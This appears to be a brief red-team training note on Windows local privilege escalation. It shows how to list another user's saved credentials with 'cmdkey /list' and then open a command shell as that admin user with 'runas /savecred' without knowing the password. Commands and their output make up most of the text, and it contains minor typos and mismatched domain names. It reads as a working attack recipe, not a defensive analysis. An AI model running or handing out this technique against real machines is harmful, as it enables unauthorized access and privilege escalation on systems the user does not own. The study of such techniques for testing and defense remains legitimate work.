If our user have saved credentials in the credentials manager that belong to a different user, we can use this credentials without knowing the password.
C:\\iron>cmdkey /list
Currently stored credentials:
Target: Domain:interactive=IRON\\admin
Type: Domain Password
User: IRON\\admin
Then we can run runas
using the saved credneitlas
C:\\RTO>runas /savecred /user:admin cmd.exe Attempting to start cmd.exe as user "RTO-LPE\\admin" ...
A new cmd windows will open as the user.